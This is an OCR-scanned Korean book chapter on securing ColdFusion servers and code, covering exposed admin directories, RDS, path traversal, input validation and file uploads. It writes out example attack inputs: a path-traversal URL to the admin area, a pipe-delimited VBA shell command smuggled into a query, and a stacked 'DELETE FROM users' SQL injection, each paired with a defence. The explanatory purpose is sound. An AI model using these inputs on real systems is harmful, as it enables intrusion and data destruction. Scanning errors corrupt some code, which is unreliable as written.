첫번째 문제는 ColdFusion 문서 이다. 이것은 Web 뿌리에 있는 CFDOCS 라는 등록부 
에 위치하고 있다(그림 10-8). 



그림 10-8. CFDOCS 등록부 
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이 문서에 있는 Allaire 는 몇개의 실례프로그람들과 도구들을 적재하고 있다. 
ColdFusion 의 현재 판본에서 는 이것들이 IP 평가자 ( valuator ) 들에 의 해 보호되고 있지 
만 지난 시기에는 누구나 이러한 형판들을 원격으로 리용할수 있었다. 첫 작업은 그것들 
을 제거하는것 이며 그것들을 리용하는 경우에는 추가적 인 보안층을 더 설치하는것 이 다. 
즉 Web 봉사기 통과암호에 의한 보호를 적 용하는것 이 다. 모든 보안문제 들과 마찬가지 로 
이 런보호들은 당신의 제품봉사기 (production server ) 와 개 발통 (development box ) 에 
서 진행할수 있다. 안전성 을 충분히 담보하기 위 하여 서 는 개 발통으로부터 전체 
CFDOCS 등록부들을 삭제하면 되는데 이렇게 하면 임의의 문제도 제기 안될수 있지만 
실례응용프로그람들과 문서는 언어 가 무엇 이 라도 제품봉사기 에서는 실행될수 없다. 

다음의 문제는 그림 10-9 에서 보여준것과 같이 Web root 의 CFIDE 의 부분등록부인 
Administrator 에 있는 ColdFusion Adminstrator 이 다. 



그림 10-9. CFIDE 등록부의 내용 


ColdFusion Administrator 는 ColdFusion 봉사기 를 조종하기 위 한 Web 에 기 초한 
대 면부이 다. 이 관리 자에 대 한 호출은 형식 에 기초한 암호 ( form-based password ) 를 
리용하며 이것을 리용하여 호출을 계한한다. 이것은 일반적인 공격을 막는데는 충분하지 
만 재간이 있거나 지식이 있는 사람은 언제인가는 그것을 알아 낼수 있다. 그러므로 여 
기 에 서 도 Web 봉사기 에 기 초한 암호 ( Web - Sever - Based - Password ) 를 리 용할것 을 권고 
한다. 

_ 

Y CFIDE 등록부를 암호로 보호하지 말아야 한다. 왜 냐하면 일부 ColdFusion 

태 그들이 이 등록부를 리 용하기 때 문이 다. 관리 자부분등록부만 암호로 보호하시 오. 
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있을수 있는 세번째 보안구멍 은 ColdFusion 의 가장 좋은 특징 들중의 하나로부터 
생 겨 난 다 . 즉 ColdFusion 작 성 실 원 격 개 발 봉 사 (ColdFusion Studio Remote 
Development Service : RDS ) 이 다. RDS 는 ColdFusion 작성실판본을 가지고 있고 암호 
를 알고있는 사용자들이 어떤 기대에 원격으로 접속하여 마치 그것이 자기에게 있는것처 
럼 파일들을 편집할수 있게 한다. 이러한 접속은 부분적으로는 HTTP 에 의하여 관리되 
는데 그 관리 방법 을 쓰면 공격 을 할수 있 다. 다른 규약들이 많이 리용되 기 때 문에 RDS 
통과암호를 알아낸다는것은 훨씬 어 렵 다. 그러 나 ColdFusion 관리 자를 호출할수만 있다 
면 RDS 에 대 한 모든 보안을 해제 하고 파일들을 올리적재 , 보기 혹은 수정할수 있는 
모든 권한을 가지게 된다. 이외에도 봉사거부공격이 이러한 접속상에서 수행될수 있다. 
이것을 막기 위한 방도는 두가지이다. 첫번째 방도는 CFIDE 등록부의 부분등록부인 
Main 을 Web 봉사기통과암호로 보호하는것 이 다. 

이 방법은 RDS 를 리용하는 사람이 ColdFusion 작성실암호와 함께 Web 봉사기 보안 
도 함께 리용하여야 하는데 이렇게 하면 보안을 하는데 불편한 점이 있다. 두번째 방도 
는 접속을 조종하는 RDS 봉사를 없애 버리는것 이 다. 여 기 에서 언급하여 야 할 보안과 관 
련한 두가지 경우가 있는데 명백한 차이를 보여 주어 야 한다. 우선 자기 기 대 에서 실행 
하고 그것을 다른 기대 에 공유시키지 않았다고 가정한다. 두번째 로 당신이 일부 공유환 
경에 있다고 가정하자. 

당신이 자기 기대에서 실행한다면 좋은것이다. 당신은 자기 기대에 정상적으로 호출 
하는 사람에 대 하여서는 걱정하지 말아야한다. 여기 에서 제 기되 는 기 본문제는 당신의 코 
드가 공격 자가 파일 들을 올리 적 재하거 나 정 보를 얻 을수 있게 하는 보안구멍 들에 대 하여 
개방되지 말아야 한다는것이다. 

1. 개발의 보안 

ColdFuion 응용프로그람을 작성 할 때 자료의 이동과 관련하여 공격 을 받을수 있는 
태그들이 포함되여 있는가를 조사하여야 한다. 대부분경우에 폐지들에 보내진 자료들을 
평가함으로써 그것들이 잘못 리용되는것을 막을수 있다. 즉 그 해결책은 속성들이 동적 
으로 설정되지 않도록 하는것이다. 우리가 검토해 본 매 태그에 관해서 또 다른 해결책 
은 태 그들을 꺼 버리는 것 이 다(관리 판에 의 해 조작할수 있는 선택 항목에 의하여). 다른 
태 그들은 꺼버리지 않아도 될수 있으나 그러 자면 잘 코드화해 야 한다. 

1) CFINCLUDE 

CFINCLUDE 는 ColdFusion 형 판들을 취 하여 그것 을 다른 형 판들 (다른 페 지 들) 에 
포함시키게 하는 쓸모 있는 태 그이다. 여기 에 좀 문제가 있다. CFINCLUDE 는 예견하 
지 않던 다른 체 계 들로부터 파일 들을 호출하려 고 하는 방문자들에 의해 많이 리용될 수 
있다. 이것은 Coldfusion 그자체의 보안구멍이 아니지만 그 코드를 쓰는 사람들의 방법 
에 따라 보안구멍으로 될수도 있다. 표준 CFINCLUDE 를 그림 10-10 에 보여 주었다. 
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<CFINCLUDE TEMPLATE= “location, cfm” > 

그림 10-10. location, cm 을 호출하는 형판을 포함하는 코드 

이것은 location.cfm 이라는 파일을 호출하는 형판 (CFINCLUDE 를 포함하는 형판) 
에 포함하게 된다. 이 실례는 포함되는 파일이 《호출하는》형판과 갈은 등록부에 존재 
하는 경 우이 다. CFINCLUDE 는 또한 상대 적 인 경 로를 리용하여 파일 을 지 적할수 있 다. 


〈CFINCLUDE TEMPLATE= “queries/location, cfm” > 

그림 10-11. 부분등록부에 있는 형판 location.cfm 을 포함하기 


이것은 그림 10-10 의 경우와 같지만 queries 라는 부분등록부안에 있는 파일을 포함 
한다. 이 경우의 부분등록부는 호출하는 형판과 직접적인 종속관계에 있다. 호출하는 형 
판의 상위등록부로부터 파일들을 포함하려면 《../》을 리용할수 있다(그림 10-12). 


<CFINDLUDE TEMPLATE= /location.cfm” 

그림 10-12 .어미등록부에 있는 형판 1(乂고仕이1.(년111을 포함하기 


이것은 호출하는 형판의 한 준위 웃쪽 어미등록부에 가서 파일을 찾으라는것을 의미 
한다. 그림 10-12 와 같이 하여 웃쪽 등록부에 가서 location.cfm 이라는 파일을 포함하 
게 된다. 여기서 취급된것은 HTML 에서 상대적인 경로를 지적하는 규칙과 같다. 그러 
면 규칙 이 달라 진것들에 대 하여 보자. 

2) 상대적인 경로 

표준 HTML 에서 상대적인 경로지정에 쓰이는《../》을 리용하여 도달할수 있는 가 
장 높은 준위 는 어 미등록부인 Web 봉사기 뿌리 등록부라고 가정한다. 실례 로 그림 10-14 
를 고찰하자. 즉 그림 10-13 은 동작하지 않는다 (Web 봉사기뿌리는 HTDocs 이고 호출 
하는 형 판은 Web 봉사기 뿌리 에 있 다고 가정한다) . 



HTML 은 Web 봉사기에 의하여 정의된 Web 경로의 밖으로는 나갈수 없다. ColdFusion 
은 이러한 제한을 받지 않는다. CFINCLUDE 는《뿌리준위》가 Web 봉사기의 뿌리가 
아니 라 등록부뿌리 (보통 C :\ ) 로 되는 특징이 있다. 이것은 CFINCLUDE 에서 리용하는 
갈은 구동기상의 임의의 파일을 호출할수 있다는것을 의미한다. 


그 ' ■너 ■노”*- ^ ' ■上고 -3 서 
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그림 10-14. 경로현시 


여 기 에 문계 가 있 다. 《 .. /》를 여 러 번 리 용한다면 CFINCLUDE 가 구동기 뿌리 쪽 
임의의 방향으로 갈수 있다는것을 의미한다(우리의 실례에서는 E ：\ ). 거기에서 요구되 
는 임의의 등록부를 호출할수 있다 .Web 봉사기뿌리를 안다면(찾기가 쉬운 곳) 
CFIDE / Adminstrator 등록부쪽의 모든 방향에서 그것을 찾도록 호출할수 있다. 현재는 
이것 이 Web 페 지 상에 서 코드화하기 어 려 운것 이 라고 생 각하고 안전하다고 생 각할수 있 다. 
그러나 안심할것은 못된다. 흔히 사람들은 자기들의 응용프로그람 어데서든지 그림 10- 
15에서 보여 준 코드를 리 용하는 경우가 많다. 


<cfinclude template = “ allaire /# passedvar #. cfm ” > 


그림 10-15. 부분등록부로부터 동적 형 판이 름을 포함하기 


여기서는 보통 passedvar 가 URL 상에 넘어 가서 종당에는 정상적으로 호출될것이 
라고 가정한다. 만일 자기의 문자렬을 URL 상에 전송한다면 Admin 을 다음과 같이 호출 
할수 있다. 
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https ：/127.0.0.1/ testtemplate . cfm ? passedvar =./ webroot/cfi 
de / administrator / security / index 

그러나 문제가 하나 있다. 《../》을 여러번 쓰면 포함하려는 임의의 《경로정보》 
에서 랄뢰할것이다. 이것은 《 allaire /》 경로정보가 도움이 되지 못하며 무시되게 될것이 
라는것 을 의 미 한다. 

여 기 에서 동료림 Allaire 성 원들을 론의하면서 몇 가지 제의 를 하려 고 한다. 우선 관 
리자등록부의 이름을 바꾸라는것이다. 이러한 구멍은 개별적사람들의 체계에 대한 지식 
에 따라 생겨날수 있다. 만일 Admin 과 docs 에 대한 비규칙의 setup 을 가지고 있다면 
좀 안전할것이다. 또 다른 제의는 그림 10-16 에서 보여 준 코드를 리용하라는것이다. 


<cfinclude template : “共 Replace (passed var , ‘ • ’，‘， , ‘ all ’ )#. cfm ” > 

그림 10-16. 형판이름을 포함하는 변수의 청소 


이것은 점 (.) 을 반점 (，)으로 바꾼다. 이렇게 하면 문제는 없어 진다. 다른 해결책은 
CFINCLUDE 에서 동적위치들을 가진 코드를 쓰지 않거나 그림 10-17 에서 보여 준 코드 
를 리 용하는것 이 다 ( FuseBox 방법 에 서 리 용된 다) . 


<CFSWITCH Expression = “# passedvar #” > 

<CFCASE Value = “ entry ” > 

〈CFINCLUDE Template = “ entry , cfm ” > 
</ CFCASE > 

<CFCASE Value = “ login ” > 

〈CFINCLUDE Template : “ Login , cfm ” > 
</ CFCASE > 

< CFDEFAULTCASE > 

〈CFINCLUDE Template : “ index , cfm ” > 
</ CFDEFAULTCASE > 


</ CFSWITCH > 


그림 10-17. 어 느 형 판을 포함하겠는가를 결 정하는 
CFSwitch / CFCase 를 리 용하기 


이것은 단순한것 같지만 더 복잡해 질수 있다. 파일이름 ( login 과 index 와 같은)을 
주는것보다는 응용프로그람이 《press here to log in ) (가입등록하기 위해 여기를 누 
르라.)와 갈은 완전한 본문문자렬을 전송할수 있으면 적당한 페지를 적재하는데 쓸수 있다. 


300 







손상과 방위... 


포함되는 코드의 로출 

포함과 관련한 타그들의 리용할 때 제기되는 보충적인 문제들을 보자. 

사람들은 흔히 자기들의 코드를 재 리용가능한 파일들로 토막화한 다음 이 토막들을 
CFINCUDE 타그를 써서 포함하게 된다. 단체들은 보통 이 파일들을 자기들의 응용프 
로그람의 부분등록부로 만든다. 이러한 부분등록부의 일반적인 이름은 includes , 
queries , display 등으로 된다. 이 등록부들이 Web 봉사기상에 어떻게 설치되는가에 따 
라 보안문제 가 발생될수도 있다. Web 봉사기 가 등록부를 열 람하게 되여 있다면 (열람을 
할수있게 하여서는 안되지만) includes 등록부를 본다는것은(실례로) 포함되여야 할 모 
든 파일목록을 보게 된다는것 이 다. 이 파일들중의 하나를 선택하였다면(선택된 파일이 
표준확장자. cfm 인 파일을 가지고 있다면)파일은 정상으로 실행될것이다. 파일이 비정 
상적인 상황에서 실행된다면 오유나 보안구멍이 나타날수 있다. 심지어 보는 사람이 파 
일을 실행 하지 않는다고 해도 그들은 《 back - end 》 등록부설치부분과 당신이 리 용하게 
되는 파일이름짓기규칙들에 대해 보게 될것이다. 표준파일에 대하여서는 이것이 나쁠수 
도 있고 그렇지 않을수도 있지만 분리된 파일들로 기억된 질문 ( queries ) 들에 대하여서 
는 이것 이 매우 위험하다. 질문들의 파일이름들은 보통공격자들이 볼수 없게 숨겨 지는 
자료기지구조로 주어 진다. 이 문제에 대하여 네가지 해결책이 있다. 


• 파일들을 비표준확장자로 보관: 일부 경우에 리용되는 이러한 선택항목은 파 
일이 한개의 ColdFusion 형판으로 실행되는것을 보호한다. 보통확장자 
는 . inc 이지만 여기에 중요한 문제가 있다. 누가 파일을 실행하려고 하면 그 
들이 얻게 되는 모든것은 그의 원천코드의 현시인데 이것은 파일에서 무엇 
이 진행되는가를 볼수 있게 하고 암호나 다른 보안정보들이 어디에 배치되 
는가를 알수 있게 한다는것 을 의 미한다. 

• 등록부열 람을 막기 : 이 것은 Web 봉사기 를 약간 수리 하는것 이지 만 한가지는 
담보할수 없다. 등록부를 열람할수 없게 한다고 하여도 파일이름을 알고 추 
측하는 공격 자는 여전히 등록부에서 그것 을 실행할수 있다. 이 선택 은 Web 
봉사기에 관계되며 일부 경우에는 선택되지 않는다. 

• 등록부호출의 차단: 또 다른 방법은 보호하려는 등록부의 임의의 파일을 직 
접 호출하지 못하도록 Web 봉사기를 고치는것이다. 여기서는 프로그람작성 
자가 Web 봉사기를 호출하지 못하도록 하면 완전한 방법으로 된다. 강조된 
것처 럼 CFINCLUDE 에 의해 포함되는 파일들은 모두 이것을 무시한다. 

• 특수 CFAPPLICATION 의 추가: includes 등록부에 있는 파일들이 모 
두 . cfm 확장자를 가진 파일이라면 등록부안의 응용프로그람. cfm 을 가지는것 
은 그것들이 호출될 때 거기에 영향을 준다. 이 응용프로그람. cfm 이 거기에 
서 한개의 CFABORT 를 가지고 있다면 파일은 이 등록부에서 효률 좋게 실 
행될수 없다. 그외에도 index . cfm (혹은 다른《기정문서》)이 이 등록부에 
놓여 있다면 등록부구조를 볼수 없다. 이것은 프로그람적인 보호의 가장 좋 
은 해결방도이다. 강조된바와 같이 응용프로그람 . cfm 에서 포함되는 파일들 
음 CFABORT 에 의해 차단되 지 않는다. 
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ColdFusion 을 구축하는 리유중의 하나가 Web 와의 자료기지접속때문이다. 이것은 
대단히 쓸모 있기때문에 최근에는 누구나 그것을 쓴다. 그러나 여기에서 일부 아주 위험 
한 보안구멍들이 공개되였다. ColdFusion (혹은 다른 언어들)을 직접 사용하는 경우는 
Microsoft 의 경우보다 제기되는 문제가 더 적은데 여기서는 ODBC 구동기들과 개발가능 
한 자료기지를 리용하여 인기있는것들을 작성할수 있다. 이 러한 개 발은 ColdFusion 자 
료기지관련태그들 ( CFQUERY , CFINSERT , CFUPDATE , CFGRIDUPDATE ) 모두에 
영향을 주며 모든것을 ColdFusion 패지로 넘겨 지는 정보로 취급한다. 지금까지 공개된 
것 은 호출파이 프문제 와 2중 SQL 문제 두가지 이 다. 

(1) 호출파이프문제 

MDAC 와 Access 의 이 전 판본 들은 Visual Basic for Application ( VBA ) 지 령 들을 
직접 실행할수 있는 실행가능한 호출로 넘길수 있다. 파이프(|)문자로 둘러 싸인부분은 
VBA 지 령으로 보고 실행하게 된다. 또한 랄퇴 (| |를 리 용하여)하지 않으면 한개의 파이 
프를 가진 질문으로 넘겨진 임의의 본문은 오유가 발생되게 된다. 

한 공격자가 그림 10-18 과 같은 URL 을 전송한 실례에 대하여 보자. 


http : / / server / index . cfm ? id = ‘ | shell (“ cmd/c 1> C ：\ temp \ file . txt " ) | 


그림 10-18. 파일을 창조하는 호출을 발생하는 코드를 가진 URL 


호출되고 있는 index , cfm 페 지상에서 그림 10-19 와 같은 질문을 엄게 될것 이 다. 


<CFQUERY Name = “ qGetUser ” Datasource = 
SELECT * * 

FROM USERS 
WHERE ID =# URL . id # 
</ CFQUERY > 


그림 10-19. 위험성이 있을수 있는 질문 


페지를 처리할 때 VBA 지령이 실행되는데 C :\ temp 등록부에 file . txt 라는 파일을 
생성하게 된다. 또한 전송하는데서 주의를 돌러지 않는다면 질문이 실패하게 될것이다. 
공격자가 등록부구조를 안다면(적은 품으로 알수 있다면) 그들은 파일의 올리적재나 체 
계지 령 의 실행 과 갈은 요구하지 않은 코드를 실행 하도록 작성된 파일을 발생하게 된다. 
이 문제에 대한 해결책은 두가지가 있다. 
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• 최신판 MDAC 들을 설치 







이것은 Microsoft 회사측에 의하여 문제를 해결하는것이다(그들이 그것을 다시 
도입 하지 않거 나 관계되는것을 pop up 하지 않는 한에 는). 

• 사용하기전에 변수들을 모두 청소하기 ( clean ) 

이것은 필요없다고 생각하는 본문을 찾아낸 다음 요구하면 그것을 고치게 하는 
변수들을 넘기는 ColdFusion 의 일부 함수들을 리용하게 하는것이다. 

그림 10-20 에 보여 준 코드는 우에서 보여 준 질문에서 수값에 대하여 그것을 
안전하게 하는것이다. 


<CFQUERY Name : “ qGetUser ” Datasource = 
SELECT * 

FROM USERS 
WHERE ID =# Val ( URL . id )# 
</ CFQUERY > 


그림 10-20. 보안구멍을 없애기 위하여 ValO 함수를 리용한 질문 


ValO 함수는 인수로 넘 겨 진 임의의 자료를 한문자씩 수자인가를 확정하는 함수 
이 다. 문자가 없으면 함수는 정지한다. 문자가 없다면 함수는 0을 돌려 준다. URL 
로 정의된 문자렬을 전송하였다면 질문은 ID =0 으로 하여 실행되게 하여야 한다 ( ID 를 
0으로 한 자료기지선택은 민감한 자료를 주지 않는다는것을 확인하면 된다. 민감한 
자료라면 아래의 실례를 보시오). 

또 다른 선택 은 넘 겨 진 값이 기 대하였던것 이 아니 면 오유를 발생 ahrow ) 하게 
하는것이다. 수값자료를 취급할 때는 이 두가지를 다 리용할수 있다(그림 10-21). 

첫 행 ( CFPARAM ) 은 변수 ID 가 존재 하는가 존재하지 않는가를 검 사하고 존재하 
지 않는다면 오유가 발생되게 하는것이다. 존재한다면 값이 수값인가 아닌가를 검사 
한다. 수값부분이 존재하지 않으면 오유가 발생될것 이 다.이 것은 값이 존재 하는가 또 
자료의 형이 무엇인가를 검사하는《2가지임 무 ( duty )》 를 수행 하게 하는 가장 좋은 
방법 일 것 이 다. 문제 는 문자렬 에 서 는 동작하지 않는것 이 다(그러 나 다른 자료들에 대 
해서는 계산한다). 


〈CFPARAM Name = “ ID ” TYDE = “ Numeric ” > 

<CFIF Not IsNumeric ( l ID ' )> 

<CFABORT ShowError = “A variable passed to the page was a value 
other than requested . ” > 

</ CFIF > 


그림 10-21. 자료형들을 검사하는 두개의 서로 다른 방법 
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두번째부터 다섯째까지의 행은 변수의 값이 수값이면 볼수 있게 해주고 수값이 아니 
면 폐지를 무효로 만드는 간단한 IF 문장이다. 이렇게 하여 변수의 존재는 검사하지 않지 
만 코드는 아주 쉽게 추가할수 있다. 

본문값들을 취급할 때는 작업이 약간 힘들어 진다. 여기에서도 역시 변수에서 자료 
의 교체나 그것이 무엇인가를 검출할수 있지만 우선 무엇을 찾으러고 하는가 하는 좋은 
구상을 가지고 있어야 한다. 그것이 어디에 존재하는가를 찾으러고 한다면 그림 10-22 에 
서 보여 준 코드를 리용할수 있을것이다(변수인 사용자이름이 넘겨 졌다고 가정한다). 


<CFIF Find ( ， username ) > 

<CFABORT ShowError = Possible database error ” > 
</ CFIF > 


그림 10-22. 파이 프 (|) 을 찾기 위한 자료의 판정 


이 코드는 변수본문에서 파이프를 리용할 때 오유가 발생될수 있기때문에 좀 미숙한 
점이 있다. 위험성이 있다는것을 알수 있는데 넘겨 진 정보는 본문내용에 파이프쌍이 있 
는 양식으로 되여야 한다. 그림 10-23 의 코드는 이러한 정보를 리용한것이다. 


<CFIF REFind ( ‘| [기] + |’ ， name )〉 

<CFABORT ShowError = “Possible database error ” 
</ CFIF > 


그림 10-23. 두개의 파이프들사이의 모든 자료를 
찾아 내기 위한 확장된 자료판정기 


이 코드는 우리 가 요구하는 패 턴이 존재 하는가를 알아 내 기 위하여 정 규식 을 리용 
한다. 

REFind 함수의 첫 속성은 식이여야 하며 두번째 속성은 검사하여야 할 문자렬을 가 
진 정규식이여야 한다. 여기서 정규식은 한 파이프다음에 파이프가 없는 한개 혹은 그이 
상의 문자들이 놓이고 그다음 파이프가 놓여 야 한다. 문자렬에 파이프가 한개 있으면 오 
유가 발생되지 않으며 한개의 파이프 다음에 두개의 파이프가 련이 어 있어도 오유가 발 
생되지 않는다. 이것은 검사이지만 청소부 ( sweeper ) 로 리용하는데도 충분하다. 이것은 
그림 10-24 에서 보여 준것대로 동작한다. 

우의 코드는 우리가 요구하는 패턴을 찾기 위해 REReplaceO 함수를 리용하여 그것 
을 NULL 과 바꾼다(기 본적 으로 그것 을 삭제한다) . 

이 보안구멍 은 일부 낡은 기 대 들에 여 전히 존재하며 특히 짧은 시 간에 갱 신되 지 않 
는것들이다. 더 위험한 문제는 그다음에 생긴다. 
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<CFQUERY Name : “ qGetUser ” Datasource = “ ” > 

SELECT * 

FROM USERS 

WHERE username :’ #REReplace ( username , ’ |[기 + |’，’ ’，’ all ’ )#’ 
</ CFQUERY > 


그림 10-24. 자료를 청소하기 위한 정규식의 리용 


⑵ 2중 SQL 문제 

어떤 자료기지들에서는 한개의 질문블로크가 여러개의 SQL 문장들로 구성될수 있다. 
대부분의 경우들에는 이것이 아주 좋은 점으로 되지만 동적변수를 취급할 때에는 그것이 
보안구멍 이 라는것 이 확인되였다. 그림 10-25 의 질문실례를 보자. 


<CFQUERY name = “ qGetUser ” DataSource = “ Users ” > 
Select * 

From users 
Where useid =# id # 

</ CFQUERY > 


그림 10-25. 위험성이 있을수 있는 질문 


이 실례는 어떤 위 치 에서 ( URL 과 같은) 변수를 발을것을 요구하는 일반질문이다. 
공격 자가 그림 10-26 과 같은 URL 을 보낸다고 하자. 


http : // localhost / index . cfm ? ID = l %20 DELETE %20 FRQM %20 users 


그림 10-26. 자료기지로부터 모든 항목을 삭제하기 위해 URL 을 바꾸는것 


최종적 인 질문은 다음과 갈은 SQL 을 포함하게 될것 이 다. 

Select * 

From users 

Where userid=l delete from users 

2 중 SQL 문제 로 하여 사용자정보를 선택하는 첫번째 질문에 이 어 사용자표에서 모 
든 정보를 삭제하는 두번째 질문이 수행되게 된다. 이것은 파괴적인 ( devastating ) 보안 
구멍 이지만 막을수 있는것 이 다. 앞의 실례 에서는 수값자료를 기대하였다. ValO 함수를 
씨서 모든 비수값자료들을 없애는데 간단히 리용할수 있으며 이 공격을 저지시킬수 있다 
(그림 10-20). 
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/ i \ 보안경 보! 

2중 SQL 보안구멍은 MS - SQL 과 Sybase SQL 과 같은 기 업 소 ( enterprise ) 준위의 

자료기지에 존재한다고 알려 졌다. 


3) 올리적재되는 파일 

《만일 누군가가 한 기대에서 한개의 파일을 얻을수 있다면 그것은 그들의것이다.》 
라는 말이 있다. 이것은 사실이며 여기서 기본취급하려는것이다. 여기서 취급하는 모든 
태그들은 자기 기대밖의 파일들을 자기 기대의 디스크에 보관할수 있게 하는것들이다. 
그러한 태그들로는 다음과 갈은것들이 있다. 

• CFFILE HTML 형 식 을 리 용하여 자기 기 대 에 직 접 파일 을 올리 적 재 하는데 

러용된 다. 

• CFPOP 전자우편으로 발아 접촉을 보관할수 있다. 

ColdFusion 형 판들과 다른 Web 가능한 파일들을 취급할때의 기 본위 험 은 Web 경 로의 
어데인가에 파일을 보관할 때 생긴다. 리용할수 없는곳에 파일을 올리적재하였다면 문제 
가 없다. 때 문에 파일들을 올리 적재할 때 마다 그것들을 Web 경 로밖에 놓이 도록 하면 된 
다. 이 렇 게 된것 이 접 촉을 잘한것 이 다. 

그외에도 CFFILE 에서 자기 봉사기에 올리적재하는 파일의 확장자를 제한하는 방법 
도 있다(그림 10-27). 


<cffile action = “ UPLOAD ” filefield = “ uploadfile ” des 仕 na 仕 on = “ c :\ temp ' 
nameconflict = “ ERROR ” accept = “ image / gif ， image / jpg , imag / pjpeg ” > 


그림 10-27. 영상 ( Images ) 을 올리적재 하기 위한 CFFILE 코드 


이 조작은 한가지 형식으로 넘겨 진 파일을 C ：\ temp 에 보관하게 한다. 만일 파일이 
image / gif , image / jpg , image / pjpeg 와 다른 MIME 형태라면 받아 들이지 않는다. 이렇 
게 하면 올리적재되는 파일들을 조종할수 있다. 일부 열람기들은 열람기가 직접 문서에 
접근할 때 .jpg 또는 . gif 와 같은 각이한 파일들로 이름을 바꾼 HTML 문서를 주게 된다. 

4) 봉사거부 

봉사거부공격은 속도가 떠지게 하거나 기대가 폭주되게 설계된다. 보통 이런 공격들 
은 많은 파케트들을 봉사기에 질문으로 전송할 때 발생한다. 또 다른 방법은 여러번에 
걸쳐 자원을 집중처리하도록 하는 봉사기에서 제기된다. 이러한 문제에 해당되는 
ColdFusion 태 그들이 있 다. 

정확히 말하면 질문에서의 태그들은 공개된것에 호출하고 관리조작태그로 존재한다 
는것이 아니지만 그것들을 호출할수 있다면 리용될수 있다. 이러한 부류에 적합한 기본 
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태 그는 CFINDEX 태 그이다. 이 태 그는 등록부경 로나 질문의 결과들을 엄 어서 사실 
( verity ) 을 리 용하여 그것을 색 인으로 만든다. 색 인으로 만들어 야 할 자료의 크기에 따 
라 이것은 시간이 좀 걸리며 처리기에 부하가 걸릴것이다. 이 태그를 리용한 형판이 사 
용자들에게 공개되였다면 그것을 여러번 성과적으로 리용한후에 자기 기대에서 삭제해 
버 려야 한다. 

만일 당신이 이러한 태그들과 ColdFusion 쏘프트웨어 꾸레미들을 리용하지 않는다 
고 하여도 그것들을 경계 하여 야 한다. 주의해 야 할것은 CFDOCS 태 그이 다. 앞에서도 이 
야기한것처럼 이것은 이 제품의 기대에 설치되지 말아야 하며 설치되였다면 암호로 보호 
되여야 한다. 

마지막으로 대부분의 ColdFusion 태그들이 다음의 조건에 맞으면 DoS 공격에 리용될 
수 있다는것을 강조해 둔다. 

• 조작이 오랜 시간동안 진행될 때 

• 조작에 열쇠가 잠그어 지지 않았을 때 

(질 문에 서 CFLOCK 나 CFTRANSACTION 을 리용하여 ) 

• 조작이 Web 를 통해 호출될 때 

5) 태그를 끄기 

어 떤 ColdFusion 태 그들을 리 용하는것 은 매 우 위 험하다. 경 험 있는 개 발자들은 그 
것들을 잠간 한번 리용할수 있지만 많은 경우 그렇게 하는것은 쉽지 않다. 이것은 다른 
사람들이 자기 자체 의 코드를 올리 적 재 하여 실 행 하는《 공유통 (Shared box ) 》에 관한 
문제로 된다. 이러한 경우들에는 보안구멍이 존재하게 하는것보다 이러한 태그들을 꺼버 
리 는것 이 더 쉽 다. 주의 해 야 할 태 그가 3개 있 다. 

• CFREGISTRY 이 태그는 국부등록고를 호출하게 하고 조종하게 한다. 등록 
고는 임의의 Windows 기대의 심장부이며 그것을 호출하는 공격자는 거기에 임 
의의 내용을 다시 쓸수 있다. 

• CFEXECUTE 지 령선조작들의 실행을 허 가한다. 기대 에 존재하면서 지 령선 
으로부터 호출될수 있는 임의의 프로그람은 이 태그를 리용하여 호출할수 있다. 

• CFOBJECT ColdFusion 내부에서 COM , CORBA , Enterprise Java Beans 와 
Java class 들을 호출할수 있게 한다. 이 것 은 Windows 기 대 에서 대부분의 
Microsoft 응용프로그람을 호출할수 있고 기대의 임의의 부분에 대한 조종체들 
을 얻 을수 있 다는것 을 의 미한다. 

이러한 태그들은 거의 리용되지 말아야 할 자원들을 호출하게 한다. 경험이 부족한 
프로그람작성 자들은 이것때문에 크게 걱정할수 있다. 경험 이 있는 프로그람작성자들도 
필요없이 그것들을 리용하지 말아야 한다. 

2. 보안배치 

자기의 코드를 작성하자면 훌륭한 목표를 세우고 응용프로그람을 안전하게 하여야 
한다. 문제는 혼자서 그 모든것을 할수 없다는것이 다. 그렇기때문에 사람들이 응용프로 
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그람들을 작성 하고 그것 을 팔게 된다. ColdFusion 은 사람들이 콤파일 언어 ( VC ++, Java 
등) 에 서 와 ColdFusion 언 어 그자체 에 서《 태 그들을 전용화》하여 쓸수 있 게 한다. 
(CFModules 라고 하는) 

어떤 기대에 전용화된 태그를 설치하였을 때 태그의 작성자를 믿게 된다. 를파일된 
태그들과 객체들에 대하여서는 보통 그것을 검열하는 원천코드를 호출하지 않는다. 
CFModules 에 서 는 암 호 화 하지 않 고 코 드 를 심 사 할 수 있 다 . ColdFusion 공동 체 
( Community ) 는 사용자들에게 많은 원천코드를 공개하였다. 이 러한 공개코드와 번역된 
판본들은 www . allaire . com / taggallery 나 www . customtags. org 에서 찾아 볼수 있다. 

자기 의 코드를 비 공개원 천 으로 배 포하려 면 암호화로 그것 을 실 현할수 있다. 
CFEncode.exe 은 ColdFusion 의 모든 판본들을 대상할수 있으며 프로그람작성자들이 
임의의 본문파일을 ColdFusion 으로만 읽을수 있게 암호화할수 있다. 

실제로 우의 내용들이 완전히 맞는것은 아니다. 암호화된 ColdFusion 형판들을 복 
호화할수 있는 비법적 ( illegal ) 복호화프로그람이 나타나고 있다. 이 프로그람은 얼마동안 
만 원천코드로 존재하였는데 누군가가 번역된 판본을 배포하기 시작하였다. 프로그람을 
번역하는것은 그것이 특별한 서고들과 C ++ 에 대한 지식，암호화에 대한 지식을 요구하 
기 때문에 쉽지 않다. 이러한 프로그람의 존재는 사람들에게 암호화된 형판들을 믿지 말 
라는 경고를 주게 된다. ColdFusion 의 Java 배포물에서는 파피하기 어려운 암호화를 
쓰려는 시도도 있다. 


제 3 절 . ColdFusion 응용프로그람처리 


이 책에서 론의되는 대부분의 보안문제들은 예견하지 않던 자료들과 관련하여 생겨 
난다. 공격자가 당신이 취급할 준비가 되지 못한 자료에 들어 온다면 응용프로그람을 아 
무리 잘 작성해도 되지 않는다. 

자료의 타당성확인판정은 임의의 응용프로그람을 보호할수 있는 매우 중요한 보안책 
이다. 이상하게도 이것은 잘 리용되지 않는다. 

자료의 타당성확인판정에는 세가지 《준위》가 있다. 첫째로 기대하는 자료의 존재 
에 대한 검사이고 둘째로는 넘기는 자료의 형을 검사하는것이고 세번째는 그것을 리용하 
기전에 프로그람이 자료를 실제로 검사하는것이다. 

이 세가지 형태의 유효성판정은 배타적이 아니라 대부분의 경우에 자료를 완전히 검 
사하는데 함께 러용된다. 

1. 자료의 존재검사 

변수의 존재 검 사는 ColdFusion 에 서 두가지 방법 으로 수행 할수 있 다. 우선 
CFPARAM 을 호출하는것이고 두번째는 IsDefined 라는 함수를 호출하는것이다 
